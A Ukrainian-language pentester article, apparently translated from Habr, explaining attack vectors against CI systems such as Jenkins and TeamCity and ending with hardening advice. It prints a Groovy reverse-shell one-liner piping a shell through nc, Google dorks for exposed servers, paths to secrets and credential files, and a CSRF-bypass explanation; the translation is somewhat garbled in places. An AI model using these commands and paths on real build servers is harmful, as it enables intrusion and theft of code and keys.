Як перервати безперервну інтеграцію

Я — пентестер, і так вийшло, що практично на всіх проектах, хоча б віддалено пов'язаних з аналізом інфраструктури розробників, мені зустрічаються встановлені Jenkins і TeamCity (один раз я навіть бачив Bamboo). Трохи гугла, і я з'ясував, що це все — так звані системи безперервної інтеграції. Звичайно, в якийсь момент у мене в голові почали виникати запитання на кшталт: «А що це взагалі за такі системи?» і «Що з ними можна зробити?», природно, з точки зору пентестера. Відповівши на поставлені питання, ми зрозуміємо, яку вигоду потенційний зловмисник може отримати і якої шкоди нанести в рамках екосистеми розробника, використовуючи лише имеюущуюся в ній систему безперервної інтеграції.

Agile — це модно


Думаю, що більшої частини читачів Хабра напевно знайомі такі ключові слова, як Agile, Scrum або навіть Sprint. Якщо раптом ні, то коротко і дуже приблизно це все можна охарактеризувати так: постійний випуск нових закінчених (тобто володіють якимось кінцевим набором функцій) релізів програми.
Детальніше можна почитати, наприклад, Вікіпедії.
Не будемо зупинятися на цьому докладно, т. к. потенційному зловмиснику, для проведення успішної атаки, ці знання особливо й не потрібні. Проте варто зауважити, що з кожним днем все більше і більше розробників (та більшість!) звертається в Agile-віру, і, звичайно, стикається з необхідністю якось керувати всіма цими нескінченними проміжними релізами. І саме для цієї мети використовуються системи безперервної інтеграції.

Забігаючи трохи наперед, треба сказати, чому ж ці системи можуть зацікавити зловмисника (або, в нашому випадку, звичайно, пентестера) і чому варто турбуватися про їх безпеку.
  • По-перше, в силу специфіки своєї роботи, вони взаємодіють безпосередньо з вихідними кодами (витік яких, у багатьох випадках може означати значні збитки для компанії).
  • По-друге — часто, для коректної складання вихідних кодів у кінцевий продукт, користувачі системи створюють так звані складальні скрипти, які можуть бути реалізовані як засобами самої системи безперервної інтеграції, так і з використанням сторонніх інструментів (наприклад, скрипти можуть завантажуватися з репозиторіїв). В найпростішому випадку, ці скрипти являють собою batch або bash файли, тобто по суті вони обмежені тільки можливостями самої ОС, на якій виконуються. Таким чином, якщо зловмисник зміг модифікувати складальний скрипт, він зможе виконувати команди ОС безпосередньо на складальному сервері.
Крім того, як було сказано вище, системи безперервної інтеграції представляють собою зручний інструмент для управління розробкою, тому зараз їх можна зустріти у внутрішній мережі практично кожної компанії, так чи інакше пов'язаної з цією сферою. І навіть більше, найчастіше такі системи, для зручності використання, виставляють у відкритий доступ в інтернет.



Системи безперервної інтеграції
Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day. It was first named and proposed by Grady Booch in his 1991 method,[1] although Booch did not advocate integrating several times a day. It was сполучені штати прийняли as part of extreme programming (XP), which did advocate integrating more than once per day, perhaps as many as tens of times per day.
© Вікіпедія

В даній статті будемо спиратися на типову екосистему розробника ПЗ, опис якої наведено нижче. Якщо ви знаєте (а ви напевно знаєте), що це таке, то можете сміливо пропустити цей розділ і переходити відразу до атак. Для всіх інших, розглянемо її детальніше.


На малюнку ми бачимо наступні сутності:
  • IDE
    Розробник. Пише код і в якийсь момент коммитит його в сховище вихідних кодів.
  • Репозиторій
    Сховище вихідного коду і різних метаданих про нього. Звідси система безперервної інтеграції завантажує код в процесі складання.
  • Система безперервної інтеграції
    Дозволяє автоматизувати процеси збирання вихідних кодів, публікації зібраних додатків, або інформації про виявлені проблеми. Наша основна мета.
  • Сервіс (на малюнку виглядає як сервер)
    В даному випадку сервер, на який завантажується додаток після успішного складання.
  • Трекер помилок
    Система контролю і відстеження помилок в роботі або складанні програми. Саме сюди система безперервної інтеграції може записати звіт у разі неможливості успішно завершити складання програми.


Тепер, коли ми знаємо хто є хто, спробуємо описати приблизну послідовність дій, виконувану в процесі складання програми.



Розглянемо малюнок на прикладі типового спринту: розробник пише код і завантажує(1) його в репозиторій. Далі, з якого-небудь події, у справу вступає система безперервної інтеграції. Вона завантажує з репозиторію необхідні вихідні коди(2-3) і запускає процес їх складання(4). У разі успіху, зібране додаток може бути завантажено(5-1) на стенд. В разі невдачі, система може створити(5-2) завдання багтрекері.

Трохи про принципи роботи системи
Нижче наведена коротка інформація, яка допоможе виявити поверхню атаки розглянутої системи.

Рольова модель


Якщо описувати загальну рольову модель, яка може бути застосована до всіх популярних систем безперервної інтеграції, то вона буде виглядати наступним чином:
  • Анонім
    Рядовий користувач, який не має ні знаннями, ні правами в рамках розглянутої системи. По суті, типовий випадковий відвідувач, якого не чекали.
  • Користувач з доступом на читання проектів
    На перший погляд, виглядає таким же безправним (з точки зору атакуючого), як і попередній. Однак, у ряді випадків, навіть таких прав може виявитися достатньо для успішної ескалації атаки на всю інфраструктуру розробки (див. першу картинку).
  • Користувач з доступом на редагування проектів
    Зловмисник з такими правами доступу практично 100% скомпрометує систему безперервної інтеграції .
  • Адміністратор
    Користувач з максимальним рівнем прав в системі. Якщо зловмисник має такі права — це кінець.


Коротко про компонентах



Як видно на картинці, типова система складається з ряду компонентів. Нижче ми розглянемо кожен з них детальніше:
  • Master
    Контролює роботу всієї системи. Так, наприклад, майстер відповідає за конфігурування всіх компонентів системи і керування збірками. Крім того, майстер володіє всіма можливостями slave'а. Виходячи з його ролі, майстер може взаємодіяти з усіма компонентами системи, а також із зовнішніми елементами, наприклад, репозиторіями або стендами.
  • Slave
    Основне завдання slave'а— збірка додатків і їх тимчасове зберігання. slave'и (а їх може бути багато) використовуються для розпаралелювання складання проектів і деяких інших цілей, наприклад, розмежування доступу (див. висновок).
  • Користувальницький інтерфейс (як правило графічний + трохи API)
    Власне, з назви все зрозуміло — дозволяє користувачеві управляти системою. Як правило, безпосередньо взаємодіє з майстром, який, у свою чергу, розкидає завдання slave'ам.
  • Плагіни
    Плагіни має сенс виділити в окрему категорію, оскільки в багатьох системах (тих же Jenkins, Bamboo або TeamCity) вони відіграють дуже значну роль: тут і нові способи аутентифікації, різні аналізатори або інструменти створення звітів. Більше того, велика кількість плагінів вже встановлено в систему з коробки. Таким чином, плагіни можуть значно розширити можливості зловмисника, по суті, доповнюючи існуючу поверхню атаки. Крім того, оскільки плагіни часто розробляють «треті особи», їх виправлення може зайняти набагато більше часу, порівняно з виправленнями в основній системі.


Всі ваші коди належать їм
Тепер, коли у нас з'явилося розуміння самої сутності систем безперервної інтеграції, настав час дізнатися, чим саме загрожує їх компрометація. Для цього розглянемо декілька типових і не дуже сценаріїв атак від банального фішингу до зараження стягуються додатків.

Типові вектори експлуатації систем безперервної інтеграції

Фішинг


Найбільш очевидний сценарій атаки: трохи вразливостей (а, в разі Jenkins, це може бути і штатна можливість — UserContent) + сторінка введення облікових даних = облікові дані неуважних користувачів системи і, як наслідок, розвиток атаки на інфраструктуру аж до отримання контролю над доменом (у разі, якщо для аторизации в системі використовуються доменні облікові дані).

Отримання контролю над сервером


В силу специфіки роботи системи, отримання можливості віддаленого виконання коду — питання наполегливості.
Нижче розглянемо кілька способів:
  1. Виконання команд ОС на складальному сервері (агента або майстра) через банальну уразливість в інтерфейсі користувача (а, як ми пам'ятаємо, всіляких веб-вразливостей в цих системах вистачає).
    Приклад js-навантаження можна подивитися тут.
  2. Ще один спосіб для Jenkins описаний тут.
    Однак «as is» він працює тільки на конфігурації за замовчуванням, коли відключений рольової доступ і CSRF-токени. Так що для експлуатації з великою часткою ймовірності зловмиснику знадобиться який-небудь веб баг.
  3. Більш універсальний, але досить складний в реалізації спосіб — атака через плагіни.

    Складний тому, що знадобиться в тому чи іншому вигляді реалізувати MitM-атаку на канал отримання плагінів. Тут варто зупинитися докладніше. Для доставки плагіна в систему безперервної інтеграції існує два основних способи:
    • Завантаження плагіна адміністратором системи
      У цьому випадку, зловмисник може, наприклад, яким-небудь чином встати в канал між учасниками завантаження і підмінити передані дані.

    • Завантаження плагіна з публічного репозиторію плагінів.
      Тут я дозволю собі трохи пофантазувати.
      1. Так, зловмисник може спробувати додати свій власний плагін в публічний репозиторій і чекати.
        Така схема хоч і виглядає мало реальною, цілком може виявитися здійсненною.
      2. Інший варіант — перехоплення трафіку
        По суті, аналогічний першому способу.
      3. Ще один спосіб доставки плагінів — налаштування власного сервера плагінів.

        Для реалізації такого сценарію зловмиснику знадобиться власний сервер плагінів. Для цих цілей чудово підійде сервер Juseppe. Звичайно, крім сервера, зловмиснику потрібен ще й плагін. Фрагмент навантаження для такого плагіна можна подивитися на гітхабі
        В цьому плагіні був використаний простий Groovy-скрипт для отримання reverse shell:
        r=Runtime.getRuntime();p = r.exec(["/bin/bash","-c","mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc host port 1>/tmp/backpipe"] as String[]);p.waitFor()
        

        А ось і ролик, що демонструє працездатність такої схеми:
До речі, цікавий момент щодо адміністрування та безпеки: на момент тестування схеми був зареєстрований баг jenkins-31089, суть якого полягала в неможливості нормальної налаштування сервера оновлення плагінів з-за проблем в перевірці підпису плагінів. В якості можливих рішень зустрічалися, наприклад, такі:
option is Another to disable the signature check for the update site metadata downloaded by Jenkins, by setting the system property
hudson.model.DownloadService.noSignatureCheck to true, but of course that's a stupid idea in general since it breaks trust in the data you download.
Тобто пропонують в принципі відключити перевірку підпису завантажуваних віддалено плагінів, що, звичайно, не додає безпеки.

В результаті експлуатації цього вектора, зловмисник отримує контроль над складальним сервером і всіма даними, які він зберігає на своїй файловій системі(включаючи вихідні коди програм). Крім цього, отримавши контроль над сервером, зловмисник може ескалірувати атаку далі на інфраструктуру.

Крадіжка вихідних кодів


Даний вектор эксплаутирует цікаву особливість багатьох систем безперервної інтеграції: процес складання проекту на файловій системі складального сервера (майстра або slave'а) нічим не обмежений, тому, виконуючи складальний скрипт, система може читати і писати файли, що знаходяться поза поточної складальної директорії. Таким чином, якщо у зловмисника є можливість модифікувати складальні скрипти (наприклад, отримавши доступ до сховища), він легко може вкрасти вихідні коди будь-яких інших проектів, оскільки перед складанням усі вихідні коди складаються під тимчасові директорії відповідних проектів.

Підвищення привілеїв


Тут підвищення привілеїв здійснюється не тільки і не стільки в рамках системи безперервної інтеграції, але і в рамках всієї екосистеми розробника. Приклад: Зловмисник з логів дістає ssh ключі від сховища вихідного коду, тим самим підвищуючи свої привілеї вже в контексті репозиторію. Саме по собі підвищення привілеїв може бути виконане абсолютно різними способами, деякі з яких вже описані вище.

(Не)типові вектори експлуатації систем безперервної інтеграції
Тут зібрано кілька векторів атак, що використовують основні бізнес-процеси систем безперервної інтеграції.

Зараження додатки шкідливим кодом


Яскравий приклад атак подібного роду: зараження торрент-клієнт Transmission для OS X.
Якщо вашим продуктом користуються мільйони людей, наслідки цілком можна передбачити.
Для реалізації подібного сценарію в голову приходять відразу два варіанти атаки.
Припустимо, у атакуючого немає доступу до сховища з кодом, який він хоче заразити, зате є доступ з правами редагування (неважливо, через вразливість або якимось іншим способом) до системи безперервної інтеграції. У цьому разі зловмисникові досить модифікувати складальний скрипт для атакується проекту, додавши необхідні дії до списку передумов, які повинні пройти перед початком безпосередньо складання атакується проекту.

У разі, якщо у атакуючого немає доступу ні до дерева, ні до проекту, він може спробувати впливати через проект, до якого в нього є доступ, модифікуючи вихідні коди атакується проекту прямо на файловій системі складального сервера. В цьому випадку необхідно, щоб після складання сервер не очищав складальну директорію. Тут варто пояснити, що при ініціалізації черговий складання, система безперервної інтеграції може і не завантажувати вихідні коди з репозиторію, наприклад, якщо не знаходить змін з моменту последнй завантаження.

Крадіжка приватних ключів підпису додатків


Вкрадені ключі можуть використовуватися для різних цілей, наприклад, для власного підпису шкідливого ПО зловмисника.

На відео представлений один із способів реалізації такої атаки.

Ботнет?


А чому б не зібрати ботнет з систем, що стирчать в інтернет? Ось і приклад уразливого сервера в інтернеті:

І таких зараз багато.

Можна пошукати самостійно, використовуючи гугл дорки:

intitle:"Dashboard [Jenkins]"
— все Jenkins інтернету
intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"
— все Jenkins без автентифікації
intitle:"Projects - TeamCity"
— все TeamCity з гостьовим доступом
intitle:"Register a New User Account - TeamCity"
— все TeamCity з відкритою реєстрацією

Розглянувши вищеописані сценарії, стає зрозуміло, що система безперервної інтеграції повинна бути добре захищена.
Якщо ви думаєте, що ваша система захищена з коробки, то це далеко не так. В якості демонстрації цього твердження, нижче представлені налаштування за замовчуванням для декількох систем безперервної інтеграції.

Jenkins
  • По-перше, «з коробки» чомусь вимкнені CSRF-токени.
  • По-друге (і це ще крутіше!), за замовчуванням дженкінсу не потрібна ніяка аутентифікація: заходьте і робіть, що вам заманеться. До речі, матрична рольова модель реалізується як раз додатковим плагіном, який входить в базову поставку.


Ще один приклад:
TeamCity
  • За замовчуванням, будь-який бажаючий може зареєструватися в системі. Після цього, найчастіше, він отримає роль Project Manager (що відповідає третьому рівню нашої рольової моделі).
    Припустимо, після реєстрації користувачеві призначається роль Project Viewer — це теж дає зловмиснику деякі переваги, і через пару пропозицій я розповім, які.
  • TeamCity за замовчуванням дозволено гостьовий доступ до системи, який дає зловмиснику право погортати проекти і подивитися логи їх складання (по суті, той же Project Viewer).
Здавалося б, не так уже й серйозно, однак, в силу особливостей запуску складальних скриптів, в логи може потрапити різна цікава інформація (наприклад, паролі від ssh або якого-небудь ftp), і ці дані будуть там у відкритому вигляді! Таким чином, гостьовий доступ + трохи логів = всі паролі у нас в кишені. Прямо як dumpster diving!

Крім того, в більшості коробкових рішень по безперервної інтеграції майстер за замовчуванням є і slave'ом.
Це означає, що потенційно недоверенный (хто сказав, що гитхабу можна вірити?) код буде виконуватися там же, де зберігаються конфігурації всієї системи, а також вихідні коди інших проектів (можливо, навіть приватних). Тобто, модифікувавши шматок складального скрипта, який зберігається в публічному репозиторії, зловмисник може отримати доступ до конфігурації складального сервера а також вихідними кодами проектів, які збираються на тому ж агента.
А ось до яких конфігураційним даними зловмисник зможе отримати доступ, виконавши свій код на майстрі систем Jenkins і TeamCity:

Jenkins

$JENKINS_HOME/ +:
  • ./secrets/* — різна ключова інформація: майстер ключ для шифрування паролів користувачів, сід для генерації токенів і так далі.
  • ./workspace/* — директорія містить дані (включаючи вихідні коди) всіх проектів, що збиралися на поточному агента.
  • ./userContent/* — по суті коренева директорія для вбудованого в Jenkins веб сервера.
  • ./config.xml — файл з конфігурацією Jenkins.
  • ./credentials.xml — файл з обліковими записами користувачів Jenkins (включаючи зашифровані паролі).


TeamCity

  • .BuildServer/config/* — коонфигурация.
  • buildAgent/work/* — робоча директорія з даними про всіх проектах, що стягуються на агенті.
$TEAMCITY_HOME/ +
  • webapps/ — коренева директорія дистрибутива teamcity.
  • logs/teamcity-server.log | grep Super
    — В логах роботи TeamCity можна знайти пароль для суперкористувача. Він генерується випадковим чином при кожному старті системи. Адміністратор володіє максимальними правами.


Резюмуючи вищесказане, можна сміливо заявляти, що налаштування за замовчуванням небезпечні від слова зовсім. Однак, навіть якщо сконфігурувати систему належним чином, все ще існує величезна кількість шляхів для її експлуатації у своїх брудних цілях.

А як щодо вразливостей?
У системах безперервної інтеграції, як і в будь-яких інших великих системах, звичайно, є уразливості. Найбільш популярною точкою входу для пошуку вразливостей є різні інтерфейси. Так, у всіх системах, які мені зустрічалися, в якості графічного інтерфейсу використовується веб-додаток, для якого характерні різні веб-уразливості (Привіт OWASP).

Почнемо з цікавою уразливості в старих версіях TeamCity. Отже, вразливість дозволяла отримати доступ до сторінки реєстрації, навіть якщо можливість реєстрації нових користувачів була відключена в налаштуваннях. У підсумку, це дозволяє зловмисникові зареєструватися та отримати певний набір прав (див. попередній пункт) у системі незважаючи на пряму заборону від адміністратора. Детальніше цієї статті.

Тепер інший приклад, вже з Jenkins. Уразливість дозволяла обійти перевірку CSRF-токена практично в будь функції веб-додатки Jenkins у всіх версіях 1.641 (LTS — 1.625.3)
А вся справа була в класі /core/src/main/java/hudson/security/csrf/CrumbFilter.java і некоректному умови перевірки валідності запиту:
if (valid || isMultipart(httpRequest)) {
chain.doFilter(request, response);
} else {
LOGGER.log(Level.WARNING, "No valid crumb was included in request for {0}. Returning {1}.", new Object[] {httpRequest.getRequestURI(),
HttpServletResponse.SC_FORBIDDEN});

Тобто тут видно, що перевірка вважається успішно пройденою, якщо виставлений прапор valid, або ж запит містить дані типу
multipart/form-data(
Content-Type: multipart/form-data; boundary=---------------------------blahblah
)

Використовуючи дану уразливість + наприклад, штатну можливість виконання shell-скриптів при складанні проекту, зловмисник може модифікувати довільний проект, до якого у жертви є доступ на редагування, додавши в якості етапу зборки виконання shell скрипта. В результаті, ми отримуємо віддалене виконання коду на складальної машині.
Для наочності розглянемо приклад: зловмисник відправляє адміністратору Jenkins посилання на сторінку, на якій розміщено JavaScript код, який формує POST запит з Content-Type: multipart/form-data URL /view/All/job/test1/configure. В результаті, даний запит обійде захист від CSRF, реалізовану на Jenkins, що і призведе до модифікації проекту потрібним чином. Старт складання проекту реалізується аналогічним чином.

Ще одна (дуже!) цікава уразливість в Jenkins пов'язана з десериализацией java-об'єктів утилітою Jenkins CLI.
Jenkins CLI — Інтерфейс командного рядка для взаємодії з сервером Jenkins. Якщо коротко, то Jenkins CLI взаємодіє з Jenkins через свій власний протокол, в рамках якого всі дані передаються в серіалізовать вигляді. Детальніше про утиліті на jenkins-ci.org. Виявлена уразливість дозволяє неавторизованого користувачеві виконати довільний код у контексті Jenkins, експлуатація ж може бути виконана через бібліотеки Apache Commons. Детальний опис уразливості можна прочитати на сайті foxglovesecurity.
Аналогічна уразливість є і в Bamboo.
І раз вже мова зайшла про десеріалізацію, то нещодавно був знайдений ще один баг, на цей раз в лібе XStream, яку Jenkins використовує для парсингу xstream xml (наприклад тут: /CreateItem). Гарний опис бага наведено ссылке.

Висновки

Виходячи з вищезазначеного, при налаштуванні систем безперервної інтеграції слід робити додаткові зусилля для забезпечення їх належного захисту. І, звичайно, не потрібно забувати про використання додаткових інструментів і технологій для забезпечення більш високого рівня захищеності таких систем всередині вашої інфраструктури.

І на закінчення — Трохи рекомендацій
  • Ніколи і ні за яких обставин не використовувати налаштування за замовчуванням.
  • Намагатися не запускати систему на всіх мережеві інтерфейси.
    При старті завжди вказувати конкретний інтерфейс (ніяких 0.0.0.0) — такі системи не повинні «дивитися» в інтернет.
  • Не варто бездумно встановлювати додаткові плагіни і інші інструменти, т. к. часто вони самі по собі містять нові уразливості.
  • Своєчасно оновлюватися.
    Якщо погулить, то можна побачити, що системи безперервної інтеграції оновлюються постійно (в тому числі виходять виправлення критичних вразливостей), тому правильним буде моніторити поява нових Security advisories.
    Корисні посилання:
    Jenkins, Bamboo.
  • По можливості, постаратися максимально ізолювати проекти один від одного, наприклад, використовуючи окремих slave'ів для кожного проекту. Якщо не вистачає заліза, можна спробувати наробити одноразових slave'ів з допомогою контейнерів або використовувати існуючі плагіни.


Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.